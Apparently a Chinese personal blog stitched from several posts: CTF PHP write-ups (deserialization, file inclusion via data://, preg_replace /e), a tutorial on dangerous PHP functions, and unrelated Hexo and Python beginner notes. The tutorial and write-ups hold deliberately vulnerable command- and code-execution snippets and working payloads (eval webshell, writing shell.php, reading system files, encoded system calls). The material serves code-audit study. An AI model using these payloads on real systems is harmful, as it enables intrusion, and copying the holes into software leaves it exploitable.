        if (!$this->verifyUsername())   //调用verifyUsername() 判断
            throw new InvalidArgumentException('Invalid username');

        if (!$this->verifyRandomVal()) //调用verifyRandomVal() 判断
            throw new InvalidArgumentException('Invalid random token value');

        return true;
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);  //base64解码
    $user = new User($var);   //创建一个新的user类
    if ($user->verify()) {   //如果verify验证通过放出flag 要同时满足 v和v1函数
       highlight_file("flag.php");
    }
} else {
    highlight_file("index.php");
}
代码审计 要构造 username === husectfer    rnd=randomValue
贴出构造代码
1
2
3
4
5
6
7
8
9
10
11

$x = array();

$x['username'] = "husectfer";
$x['randomValue'] = random_int(1e10, 1e11 - 1);
$x['randomValue'] = 0;
$x['rnd'] = &$x['randomValue'];  //将randomValue的地址赋给rnd使其达到相等目的

echo (serialize((object)$x)); //object 将其他类转换为对象
echo base64_encode(serialize((object)$x));
?>



Web渗透 之 PHP危险函数
2021-04-13T11:42:04.000Z
# Web 渗透 之 PHP 危险函数
# 后台代码 - PHP 危险函数
PHP 中有一些函数是比较危险的，也是进行 PHP 代码审计的时候需要重点关注的内容。
# 0x01 OS 命令执行函数
这些函数会调用系统命令，类似于 bash  或者 cmd ，PHP 会自动区分平台。
系统命令函数，调用的是服务器命令。
PHP 解释器会自动识别系统平台。
如果参数可控，就相当于 Shell 。
在浏览器端输入命令，在服务器端执行。
通过 Web 方式传参调用系统命令，无法切换工作目录，非持久性连接，对比反弹 Shell。
# system()
system()  能够将字符串作为 OS 命令执行。
自带输出功能
1
2
3
4
5
6
7
8
9
10
11
'gb2312'>

if(isset($_GET['cmd'])){
    echo "";
    system($_GET['cmd']);
}else{
    echo"
    ?cmd=ipconfig
    ";
}
?>
# exec()
exec () 函数能将字符串作为 OS 命令执行。
需要输出命令执行结果
不支持命令中有空格
1
2
3
4
5
6
7
8
9
10
11
"gb2312">

if(isset($_GET['cmd'])){
    echo "";
    print exec($_GET['cmd']);
}else{
    echo"
    ?cmd=whoami
    ";
}
?>
# shell_exec()
将函数中的参数当做 OS 命令执行。
需要输出命令执行结果。
1
2
3
4
5
6
7
8


if(isset($_GET['cmd'])){
    print shell_exec($_GET['cmd']);
}else{
    echo"?cmd=whoami";
}
?>
# passthru()
将字符串当做系统命令执行。
自带输出功能
1
2
3
4
5
6
7
8


if(isset($_GET['cmd'])){
    passthru($_GET['cmd']);
}else{
    echo"?cmd=whoami";
}
?>
# popen()
popen()  能够执行 OS 命令。
此函数没有回显，但是可以执行命令
?cmd=ipconfig >> 1.txt  或者 whoami > 1.txt
1
2
3
4
5
6


if(isset($_GET['cmd'])){
    popen($_GET['cmd'],'r');
}
?>
# 反引号
反引号 `` 内的字符串，也会被解析成 OS 命令。
1
2
3
4
5
6
7
8
9


if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print `$cmd`;
}else{
    echo"?cmd=whoami";
}
?>
# 0x02 PHP 代码执行函数
PHP 中有很多函数，可以将（符合 PHP 语法规范）字符串当做 PHP 代码执行。
# eval()
eval()  会将符合 PHP 语法规范字符串当作 php 代码执行
虽然可以以函数的方式调用 eval() ，但是 eval()  不是 PHP 的函数，而是一种语法结构。
在 eval()  执行的的字符串要以分号结束。
其他命令执行的方式
?code=phpinfo();
?code=${phpinfo()};
?code=1;phpinfo();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

//phpinfo();
//$str = "phpinfo();";
//echo $str;
$str = $_GET['code'];
eval($str);
//      ?code=phinfo();
//      ?code=print(md5(123456));
//      ?code=system(whoami);
//      ?code=system('net user');
//
?>
$str = addslashes($_GET['code']);
echo $str;
eval($str);
/*
编码
1. ascii 编码
?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59));

2. base64 编码
c3lzdGVtKCduZXQgdXNlcicpOw==
?code=eval(base64_decode(c3lzdGVtKCduZXQgdXNlcicpOw));
*/
# assert()
assert()  同样会将字符串当做 PHP 代码来执行。
字符串结尾可以不添加分号。
1
2
3
4
5
6
7
8

if(isset($_GET['code'])){
    $code=$_GET['code'];
    assert($code);
}else{
    echo "Please submit code!
?code=phpinfo()";
}
?>
# preg_replace()
preg_replace()  函数的作用是对字符串进行正则匹配后替换。
参数和返回值如下
1
2
3
4
5
preg_replace($pattern,$replacement,$subject);
preg_replace('/a/','A','abacad');//AbAcAd
preg_replace('/\[(.*)\]/','A','[phpinfo()]');//A
echo preg_replace('/\[(.*)\]/','\\1','[phpinfo()]');//phpinfo()
//\\1代表正则表达式第一次匹配的内容
搜索 $subject  中匹配 $pattern 的部分，以`$ replacement` 进行替换。
当 $pattern  处，存在 e  修饰符时， $replacement  的值会被当成 PHP 代码来执行。
1
2
3
4
5
6
7
8

if(isset($_GET['code'])){
    $code=$_GET['code'];
    preg_replace("/\[(.*)\]/e",'\\1', $code);
}else{
    echo"?code=[phpinfo()]";
}
?>
执行的代码中的参数会被转义
# call_user_func()
call_user_func()  等函数都有调用其他函数的功能，回调函数。
1
2
3
4
$funName = 'assert';
$para = 'phpinfo()';
call_user_func($funName,$para);
//assert(phpinof())
$funName  被调用的函数名
$para  作为被调用函数的参数，参数中的单引号没有被转义
1
2
3
4
5
6
7
8
9

if(isset($_GET['fun'])){
    $fun=$_GET['fun'];
    $para=$_GET['para'];
    call_user_func($fun,$para);
}else{
    echo"?fun=assert&para=phpinfo()";
}
?>
# 动态函数 $a($ b)
由于 PHP 的特性原因，PHP 的函数支持直接由拼接的方式调用，这直接导致了 PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法，这种写法跟使用 call_user_func()  的初衷一样，用来更加方便地调用函数，但是一旦过了不严格就会造成代码执行漏洞。
不用调用 eval()
1
2
3
4
5
6
7
8
9
10
11

if(isset($_GET['a'])){
    $a=$_GET['a'];
    $b=$_GET['b'];
    $a($b);
}else{
    echo "
    ?a=assert&b=phpinfo()
    ";
}
?>
# 0x03 拓展知识
# OS 命令注入漏洞
原理以及成因
程序员使用脚本语言（比如 PHP ）开发应用程序过程中，脚本语言开发十分快速、简介，方便，但是也伴随着一些问题。比如说速度慢，或者无法接触系统底层，如果我们开发的应用，特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，在没有过滤用户的输入的情况下，就会造成命令执行漏洞 。
漏洞危害
继承 Web 服务器程序权限，去执行系统命令
继承 Web 服务器权限，读写文件
反弹 Shell
控制整个网站
控制整个服务器
# 命令注入漏洞利用
OS 命令注入漏洞，攻击者直接继承 Web 用户权限，在服务器上执行任意系统命令，危害特别大。以下命令均在 windows 系统下测试成功。
查看系统文件  ?cmd=type c:\windows\system32\drivers\etc\hosts
显示当前路径  ?cmd=cd
写文件
以绝对路径的方式写文件  ?cmd=echo "" > D:\xampp\htdocs\Commandi\shell.php
# PHP 代码注入
原理以及成因 代码执行（注入）是指应用程序过滤不严，用户可以通过请求将代码注入到应用中执行。代码执行（注入）类似于 SQL 注入漏洞，SQLi 是将 SQL 语句注入到数据库中执行，而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤，相当于直接有一个 Web 后门 的存在。
漏洞危害 Web 应用如果存在代码执行漏洞是一件非常可怕的事情。可以通过代码执行漏洞继承 Web 用户权限，执行任意代码。如果服务器没有正确配置，Web 用户权限比较高的话，我们可以读写目标服务器任意文件内容，甚至控制整个网站以及服务器。
# 代码注入漏洞利用
代码执行漏洞的利用方式有很多种，以下简单列出几种。
直接获取 Shell  ?code=@eval($_POST[1]);
获取当前文件的绝对路径  ?code=print(__FILE__);
读文件  ?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
写文件  ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));``1=shell.php&2= 。
# 防御漏洞的方法
尽量不要使用 eval 等函数
如果使用的话一定要进行严格的过滤
preg_replace 放弃使用 /e 修饰符
尽量减少危险函数的使用，并在 disable_functions  中禁用
1
disable_functions = system,eval
参数的值尽量使用引号包裹，并在拼接前调用 addslashes()  进行转义
# 实战：DVWA Commandi
# 实战：SeaCMSv6.26 RCE
1
?searchtype=5&tid=&area=phpinfo()



ics-05
2021-03-16T13:31:43.000Z
# 0x01 前言
涉及知识点 ： php 伪协议 文件包含  pre_replace
1
2
3
4
5
allow_url_fopen = On  &&  allow_url_include = Off     可以触发本地文件包含漏洞

allow_url_fopen = On  &&  allow_url_include = On      可以触发远程文件包含漏洞

allow_url_fopen = Off  &&  allow_url_include = On     需通过php://input伪协议进行包含
# 0x02 解题过程
F12 代码审计 发现只有 设备维护中心指向 index.php
继续 F12 发现 page=index  出现回显
初步怀疑为文件包含漏洞 测试 page=1 发现回显 1
使用 php 伪协议下载页面源码
?page=php://filter//read=convert.base64-encode/resource=index.php
base64 解码 发现重要代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "
Welcome My Admin ! 
";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
}else{
    die();
}

}
函数解释
isset 检测变量是否设置，并且不是 NULL。
preg_replace  // 将  subject 变量中含有 pattern 的用 replacement 进行替换
构造函数
?pat=/a/e&rep=phpinfo()&sub=a



xctf-php_include
2021-03-13T07:52:40.000Z
# 0x00 代码分析
题目来自 - 攻防世界 - Web_php_include
打开页面是这样一段代码
1
2
3
4
5
6
7
8
9

show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
strstr () 查找字符串首次出现的位置。返回字符串剩余部分
str_replace () 以其他字符替换字符串中的一些字符 (区分大小写)
从代码中得知 page 中带有 php:// 的都会被替换成空
分析代码可知程序过滤掉了 page = 参数传入 php://
# 0x01 方法一 data://
由于代码过滤了 php:// 等 所以可以用 data:// 伪协议
使用方法:
data://text/plain,XXXX
data://text/plain;base64,xxxx (base64 编码后的数据)
先查找 flag  文件
1
2
3
 system("dir")?>
data 拼接后
    ?page=data://text/plain,%20system("dir")?>
显示目录下文件名称  猜测 fl4gisisish3r3.php 为 flag
使用 cat 命令显示内容  cat（英文全拼：concatenate）命令用于连接文件并打印到标准输出设备上。
1
 system("cat fl4gisisish3r3.php")?>
f12 即可查询


php弱类型总结
2021-03-13T03:40:28.000Z
# php 弱类型总结
# 0x01 前言
最近接触了 php 弱类型的题目，借此想总结一下关于 php 弱类型以及绕过方式
# 0x02 知识介绍
php 中有两种比较的符号 == 与 ===
1
2
3
4

$a== $b ;
$a===$b ;
?>
== 在进行比较的时候，会先将字符串类型转化成相同，再比较
=== 在进行比较的时候，会先判断两种字符串的类型是否相等，再比较
1
如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行
这里明确了说如果一个数值和字符串进行比较的时候，会将字符串转换成数值
1
2
3
4
5
6
7

var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?>  //上述代码可自行测试
1
2
3
观察上述代码，"admin"==0 比较的时候，会将admin转化成数值，强制转化,由于admin是字符串，转化的结果是0自然和0相等
"1admin"==1 比较的时候会将1admin转化成数值,结果为1，而“admin1“==1 却等于错误，也就是"admin1"被转化成了0,为什么呢？？
"0e123456"=="0e456789"相互比较的时候，会将0e这类字符串识别为科学技术法的数字，0的无论多少次方都是零，所以相等
对于上述的问题我查了 php 手册
1
2
3
当一个字符串欸当作一个数值来取值，其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值，其他所有情况下都被作为float来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0
。
1
2
3
4
5
6
7

$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
$test=1+"2admin";//$test=3(int)
$test=1+"admin2";//$test=1(int)
?>
所以就解释了 "admin1"==1 =>False 的原因


Hexo Front-matter
2021-03-01T10:00:47.000Z
# Front-matter
Front-matter 是档案最上方以 — 分隔的区域，用于指定个别档案的变数。
如果标注可选的参数，可根据自己需要添加，不用全部都写在 markdown 里
# Page Front-matter
1
2
3
4
5
6
7
8
9
10
11
12
13
title:
date:
updated:
type:
comments:
description:
keywords:
top_img:
mathjax:
katex:
aside:
aplayer:
highlight_shrink:
写法 解释
title 【必需】页面标题
date 【必需】页面创建日期
type 【必需】标签、分类和友情链接三个页面需要配置
updated 【可选】页面更新日期
description 【可选】页面描述
keywords 【可选】页面关键字
comments 【可选】显示页面评论模块 (默认 true)
top_img 【可选】页面顶部图片
mathjax 【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)
katex 【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)
aside 【可选】显示侧边栏 (默认 true)
aplayer 【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐 配置
highlight_shrink 【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)
# Post Front-matter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
title:
date:
updated:
tags:
categories:
keywords:
description:
top_img:
comments:
cover:
toc:
toc_number:
copyright:
copyright_author:
copyright_author_href:
copyright_url:
copyright_info:
mathjax:
katex:
aplayer:
highlight_shrink:
aside:
写法 解释
title 【必需】文章标题
date 【必需】文章创建日期
updated 【可选】文章更新日期
tags 【可选】文章标签
categories 【可选】文章分类
keywords 【可选】文章关键字
description 【可选】文章描述
top_img 【可选】文章顶部图片
cover 【可选】文章缩略图 (如果没有设置 top_img, 文章页顶部将显示缩略图，可设为 false / 图片地址 / 留空)
comments 【可选】显示文章评论模块 (默认 true)
toc 【可选】显示文章 TOC (默认为设置中 toc 的 enable 配置)
toc_number 【可选】显示 toc_number (默认为设置中 toc 的 number 配置)
copyright 【可选】显示文章版权模块 (默认为设置中 post_copyright 的 enable 配置)
copyright_author 【可选】文章版权模块的文章作者
copyright_author_href 【可选】文章版权模块的文章作者链接
copyright_url 【可选】文章版权模块的文章连结链接
copyright_info 【可选】文章版权模块的版权声明文字
mathjax 【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)
katex 【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)
aplayer 【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐 配置
highlight_shrink 【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)
aside 【可选】显示侧边栏 (默认 true)
# 多级标记以及分类设置
1
2
3
4
5
6
7
8
9
title: 标签设置
categories:
 - 一级分类
 - 二级分类
 - 二级分类
tags:
 - tag1
 - tag2
 - tag3
如果你需要为文章添加多个分类，可以尝试以下 list 中的方法。
1
2
3
4
categories:
- [Diary, PlayStation]
- [Diary, Games]
- [Life]
此时这篇文章同时包括三个分类：  PlayStation  和  Games  分别都是父分类  Diary  的子分类，同时  Life  是一个没有子分类的分类。


python学习笔记
2021-03-01T09:50:37.000Z
# 一、print () 函数
# 1. 可以输出数字
1
2
print(520)
print(98.5)
# 2. 可以输出字符串
1
2
print('hello world')
print("hello world")
# 3. 可以输出含有运算符的表达式
1
print(3+1)
# 4. 可以输出到文件
1
2
3
fp = open('D:/text.txt','a+')
print('hello world',file=fp)
fp.close
** 注意：**1. 所指定的盘符必须存在；2. 使用 file=fp；3.a + 表示文件不存在就创建，存在的话就在内容上继续追加。
不进行换行输出：
1
print('hello','world','Python')
# 二、转义字符
# 1. 转义字符
1
2
3
4
5
6
7
print('hello \n world') #\ +转义功能的首字母 n--newline的首字母表示换行
print('hello \t world')  #\t 水平制表符，一组4个空格的位置
print('helloooo \t world') 
print('hello \r world') #\r 回车把hello覆盖
print('hello \b world') #\b 退一个格将o退没了
print('http:\\\\www.baidu.com') #\\输出一个\，\\\\输出2个\
print('  老师说：\’大家好\‘  ')
# 2. 原字符
不希望字符串中的转义字符起作用，字符串前加上 r 或者 R
1
print(r'hello \n world')
** 注意事项：** 最后一个字符不能是反斜杠 \，但是是两个 \\ 可以。
# 三、七十二变
# 1. 二进制与字符编码
计算机只认识 0 和 1。ASCII 表来表示符号和数字。
‘A’ 使用了 8 个位（bit）才能表示出来，在计算机他们叫一个字节（byte）。
 $\qquad0 \qquad 1\qquad 0\qquad 0\qquad0\qquad0\qquad 0\qquad 1\qquad$ 
1024 byte = 1 kB ； 1024 kB = 1 MB ；
1024 MB = 1 GB ； 1024 GB = 1 TB.
二进制 0，1→ASCII→GB2312→GB18030 →Unicode→UTF-8
1
2
3
# 汉字“乘”与进制数的转换
print(chr(0b100111001011000)) #0b代表二进制
print(ord('乘'))   #得到'乘'所代表的十进制数
# 2. 标识符和保留字
有一些单词被赋予了特定的意义，这些单词在用户给任何对象起名字的时候不允许使用。
1
2
import keyword
print(keyword.kwlist)   #查看所有的保留字
标识符是指变量、函数、类、模块和其他对象的名字。
其规则是：
字母、数字、下划线
不能以数字开头
不能是 Python 的保留字
严格区分大小写
# 3. 变量的定义和使用
变量是内存中一个带标签的盒子。下例中，name 表示变量名，= 是复制运算符，玛丽亚是值。
1
2
3
4
5
name = '玛丽亚'
print(name)
print('标识',id(name))
print('类型',type(name))
print('值',name)
变量由三部分组成：
** 标识：** 表示对象所存储的内存地址，使用内置函数 id (obj) 来获取；
** 类型：** 表示对象的数据类型，使用内置函数 type (obj) 来获取；
** 值：** 表示对象所存储的具体数据，使用 print (obj) 可以将值进行打印输出；
当多次复制后，变量名会指向新的空间，旧的空间称为内存垃圾。
1
2
3
4
name = '玛丽亚'
print(name)
name = '楚留冰'
print(name)
# 4. 常用的数据类型
常用的数据类型：
整数类型（int）：98
浮点数类型（float）：3.14159
布尔类型（bool）：True False
字符串类型（str）：‘人生苦短，我用 Python’
# （1）整数类型 integer
整数的不同进制表示方法：
十进制：默认的进制；
二进制：以 0b 开头；
八进制：以 0o 开头；
十六进制：以 0x 开头。
1
2
3
4
5
6
7
8
9
10
11
12
n1 = 90
n2 = -76
n3 = 0
print(n1,type(n1))
print(n2,type(n2))
print(n3,type(n3))

#整数可以表示为二进制，十进制，八进制，十六进制
print('十进制',118) 
print('二进制',0b10101111) #二进制以0b开头，0，1
print('八进制',0o176) #八进制以0o开头，0-7
print('十六进制',0x1EAF) #十六进制以0x开头，0-9，A-F
# （2）浮点数类型 float
1
2
3
4
5
6
7
8
9
10
11
a = 3.14159
print(a,type(a))

n1 = 1.1
n2 = 2.2
n3 = 2.1
print(n1+n2)   #结果出现很多0，计算不准确，二进制的底层问题，会有误差
print(n1+n3)

from decimal import Decimal  #导入模块decimal解决不准确的问题
print(Decimal('1.1')+Decimal('2.2'))
# （3）布尔类型 boolean
用来表示真或假的值；
True 表示真，False 表示假；
布尔值可以转化为整数，True->1，False->0。
1
2
3
4
5
6
7
f1 = True
f2 = False
print(f1,type(f1))
print(f2,type(f2))
#布尔值转化为整数计算
print(f1+1)  #2   1+1的结果为2，True表示1
print(f2+1)  #1   0+1的结果为1，False表示0
# （4）字符串类型
字符串类型又被称为不可变的字符序列；
可以使用单引号，双引号，三引号来定义；
单引号和双引号定义的字符串必须在一行；
三引号定义的字符串可以分布在连续的多行。
1
2
3
4
5
6
7
8
9
str1 = '人生苦短，我用Python'
print(str1,type(str1))
str2 = "人生苦短，我用Python"
print(str2,type(str2))
str3 = '''人生苦短，
  我用Python'''
print(str3,type(str3))
str4 = """人生苦短，
  我用Python"""
# （5）数据类型的转换
为什么需要数据类型的转换？将不同类型的数据拼接到一起。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
name = '张三'
age = 20
print(type(name),type(age)) #说明name和age的数据类型不同
print('我叫' +name+ '今年' +str(age)+ '岁' ) #将int类型通过str()转换为str类型

print('---str()将其他类型转换成str类型---')
a = 10
b = 198.8
c = False
print(typr(a),type(b),type(c))
print(str(a),str(b),str(c),type(str(a)),type(str(b)),type(str(c)))

print('---int()将其他类型转换成int类型---')
s1 = '128'
f1 = 98.7
s2 = '76.77'
ff = True
s3 = 'hello'
print(type(s1),type(f1),type(s2),type(ff),type(s3))
print(int(s1),type(int(s1)))  #str转换成int类型，字符串为数字串
print(int(f1),type(int(f1)))  #float转换成int类型，只截取整数部分，舍去小数部分
#print(int(s2),type(int(s2)))  #str转换成int类型报错，因为字符串为小数串
print(int(ff),type(int(ff)))  #bool转换成int类型
#print(int(s3),type(int(s3)))  #str转换成int类型报错，字符串必须是数字串且是整数，非数字串不允许转换

print('---float()函数，将其他数据类型转换成float类型---')
s4 = '128.96'
s5 = '76'
ff1 = True
s6 = 'hello'
i = 98
print(type(s4),type(s5),type(s6),type(ff1),type(i))
print(float(s4),type(float(s4)))
print(float(s5),type(float(s5)))
print(float(ff1),type(float(ff1)))
#print(float(s6),type(float(s6)))  #字符串中数据为非数字串，不允许转换
print(float(i),type(float(i)))
# 5. Python 中的注释
注释是在代码中对代码的功能进行解释说明的标注性文字，可以提高代码的可读性，注释的内容会被 Python 解释器忽略。通常包含三种类型的注释：
单行注释：以’#' 开头，直至换行结束；
多行注释：并没有单独的多行注释标记，将一对三引号之间的代码称为多行注释；
中文编码声明注释：在文件开头加上中文声明注释，用以指定源码文件的编码格式。（Python3 基本用不到）
1
2
3
4
5
#输入功能（单行注释）
print('hello')

'''嘿嘿，
我是多行注释'''
# 四、算你赢
# 1. Python 的输入函数 input ()
input () 函数的基本使用：present=input (‘大圣想要什么礼物呢？’)
其中 present 是变量，= 是赋值运算符，将输入函数的结果赋值给变量 present，input 函数是一个输入函数，需要输入回答。
1
2
3
4
5
6
7
8
9
10
11
#输入函数input
present = input('大圣想要什么礼物呢？')
print(present,type(present))

#要求从键盘录入两个整数，计算两个整数的和
a = input('请输入一个加数：')
a = int(a)
b = input('请输入另一个加数：')
b = int(b)
print(type(a),type(b))
print(a+b)   #对str类型的两个量进行连接,对int类型的两个量进行计算
# 2. Python 中的运算符
算术运算符（标准算术运算符，取余运算符，幂运算符）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
print(1+1)     #加法运算
print(1-1)     #减法运算
print(2*4)     #乘法运算
print(11/2)    #除法运算
print(11//2)   #整除运算
print(11%2)    #取余运算
print(2**3)    #幂运算，2的3次方
#一正一负整除运算  向下取整
print(9//4)     #2
print(-9//-4)   #2
print(9//-4)    #-3
print(-9//4)    #-3
#一正一负取余运算  公式:余数=被除数-除数*商
print(9%-4)     #9-(-4)*(-3)=-3
print(-9%4)     #-9-4*(-3)=3
赋值运算符 =
执行顺序：从右到左
支持链式赋值，a = b = c = 20
支持参数赋值， +=   -=   *=   /=   //=   %=
支持系列解包赋值，a,b,c = 20,30,40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#赋值运算符
i = 3+4
print(i)  #运算顺序从右到左
a = b = c = 20 #链式赋值
print(a,id(a))
print(b,id(b))
print(c,id(c))
print('---支持参数赋值---')
a = 20
a += 30  #相当于a=a+30
print(a)
a -= 10
print(a)
a *= 2
print(a)   #int类型
print(type(a))
a /= 3
print(a)
print(type(a))  #float
a //= 2
print(a)
print(type(a))
a %= 3
print(a)
print('---解包赋值---')
a,b,c = 20,30,40
print(a,b,c)
print('---交换两个变量的值---'')
a,b = 10,20
print('交换之前：',a,b)
a,b = b,a #交换
print('交换之后：',a,b)
# 3. 比较运算符
比较运算符对变量或表达式的结果进行大小、真假等比较。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a,b = 10,20
print('a>b吗？',a>b)   #False
print('a,a#True
print('a<=b吗？',a<=b)  #True
print('a>=b吗？',a>=b)  #False
print('a==b吗？',a==b)
print('a!=b吗？',a!=b)
'''一个 = 称为赋值运算符， == 称为比较运算符
  一个变量由三部分组成，标识(id)，类型(type)，值(value)
  == 比较的是值还是标识呢？  答案是比较的是值
  比较对象的标识使用 is
'''
a = 10
b = 10
print(a==b)   #True  说明a与b的value相等
print(a is b) #True  说明a与b的id标识相等

lst1=[11,22,33,44]
lst2=[11,22,33,44]
print(lst1 == lst2)  #value   --True
print(lst1 is lst2)  #id      --False
print(id(lst1))
print(id(lst2))

print(a is not b)        #False
print(lst1 is not lst2)  #True
# 4. 布尔运算符
布尔运算符对于布尔值之间的运算。and,or,not,in,not in
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#布尔运算符
a,b = 1,2
print('----and----')
print(a==1 and b==2)  #True and True  -->True
print(a==1 and b<2)   #True and False  -->False
print(a!=1 and b==2)  #False and True  -->False
print(a!=1 and b!=2)  #False and False -->False
print('----or----')
print(a==1 or b==2)
print(a==1 or b<2)
print(a!=1 or b==2)
print(a!=1 or b!=2)
print('----not-----')
f = True
f2 = False
print(not f)
print(not f2)
print('----in与not in------')
s = 'helloworld'
print('w' in s)
print('k' in s)
print('w' not in s)
print('k' not in s)
# 5. 位运算符
位运算符将数据转换成二进制进行计算。
位与 &：对应数位都是 1，结果数位才是 1，否则为 0
位或 |：对应数位都是 0，结果数位才是 0，否则为 1
左移位 <<：高位溢出舍弃，低位补 0
右移位 >>：低位溢出舍弃，高位补 0
1
2
3
4
5
6
print(4 & 8)  #按位与
print(4 | 8)  #按位或
print(4 << 1) #向左移动1位置
print(4 << 2)
print(4 >> 1)
print(4 >> 2)
# 6. Python 中的运算符优先级
**  *,/,//,%  +,- <<,>>  &  |  >,<,>=,<=,==,!=  and  or =
算术 → 位 → 比较（True False）→ 布尔 → 赋值 =
# 五、往哪走
# 1. 程序的组织结构
任何简单或复杂的算法都可以由顺序结构、选择结构和循环结构这三种基本结构组合而成。
# 2. 顺序结构
程序从上到下顺序地执行代码，中间没有任何地判断和跳转，直到程序结束。
程序开始 → 代码 1 → 代码 2 → … → 代码 N → 程序结果
1
2
3
4
5
6
'''把大象装冰箱一共分几步'''
print('-------程序开始--------')
print('1.把冰箱门打开')
print('2.把大象放到冰箱里')
print('3.把冰箱门关上')
print('------程序结束---------')
# 3. 对象的布尔值
Python 一切皆对象，所有对象都有一个布尔值，获取对象地布尔值使用内置函数 bool ()
以下对象地布尔值为 False
False
数值 0
None
空字符串
空列表
空元组
空字典
空集合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#测试对象地布尔值
print('----------布尔值均为False---------')
print(bool(False))
print(bool(0))
print(bool(0,0))
print(bool(None))
print(bool(''))
print(bool(""))  
print(bool([]))      #空列表
print(bool(list()))  #空列表
print(bool(()))      #空元组
print(bool(tuple())) #空元组
print(bool({}))      #空字典
print(bool(dict()))  #空字典
print(bool(set()))   #空集合
print('------------布尔值为True-------------')
print(bool(18))
print(bool(True))
print(bool('helloworld'))
# 4. 选择结构
程序根据判断条件地布尔值选择性地执行部分代码，明确地让计算机知道在什么条件下该去做什么。
# （1）单分支 if 结构
1
2
3
4
5
6
money = 1000    #余额
s = int(input('请输入取款金额：'))  #取款金额
#判断余额是否充足
if money >= s:
  money = money - s
  print('取款成功，余额为：',money)
# （2）双分支 if…else 结构
1
2
3
4
5
6
'''从键盘录入一个整数，编写程序使计算机判断奇偶 '''
num = int(input('请输入一个整数：'))
if num % 2 == 0:
  print(num,'是偶数')
else:
  print(num,'是奇数')
# （3）多分支 if…elif…else 结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
'''多分支结构，多选一执行
  从键盘录入一个整数成绩
    90-100  A
    80-89   B
    70-79  C
    60-69  D
    0-59  E
    小于0或大于100 为非法数据（不是成绩的有效范围）
'''
score = int(input('请输入一个成绩：'))
#判断
if score >= 90 and score <= 100:    #Python语句独有特点也可写作 if 90 <= score <= 100: 
  print('A级')
elif score >= 80 and score <= 89:
  print('B级')
elif score >= 70 and score <= 79:
  print('C级')
elif score >= 60 and score <= 69:
  print('D级')
elif score >= 50 and score <= 59:
  print('E级')
else:
  print('对不起，成绩有误，不在成绩的有效范围')
# （4）if 语句的嵌套
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
'''会员    >= 200   8折
          >= 100    9折
          不打折
  非会员   >=200     9.5折
          不打折'''
answer = input('您是会员吗？y/n \n')
money = float(input('请输入您的购物金额：'))
#外层判断是否是会员
if answer == 'y':   #会员
  if money >= 200:
    print('打8折，付款金额为：',money*0.8,'元')
  elif money >= 100:
    print('打9折，付款金额为：',money*0.9,'元')
  else:
    print('不打折，付款金额为：',money,'元')
else:              #非会员
  if money >= 200:
    print('打9.5折，付款金额为：',money*0.95,'元')
  else:
    print('不打折，付款金额为：',money,'元')
# （5）条件表达式
条件表达式是 if…else 的简写，语法结构为：x if 判断条件 else y
运算规则：如果判断条件的布尔值为 True，条件表达式的返回值为 x，否则条件表达式的返回值为 False。
1
2
3
4
5
6
7
8
9
10
'''从键盘录入两个整数，比较两个整数的大小'''
num_a = int(input('请输入第一个整数：'))
num_b = int(input('请输入第二个整数：'))
#比较大小
if num_a >= num_b:
  print(num_a,'大于等于',num_b)
else:
  print(num_a,'小于',num_b)
print('---------使用条件表达式进行比较-------------')
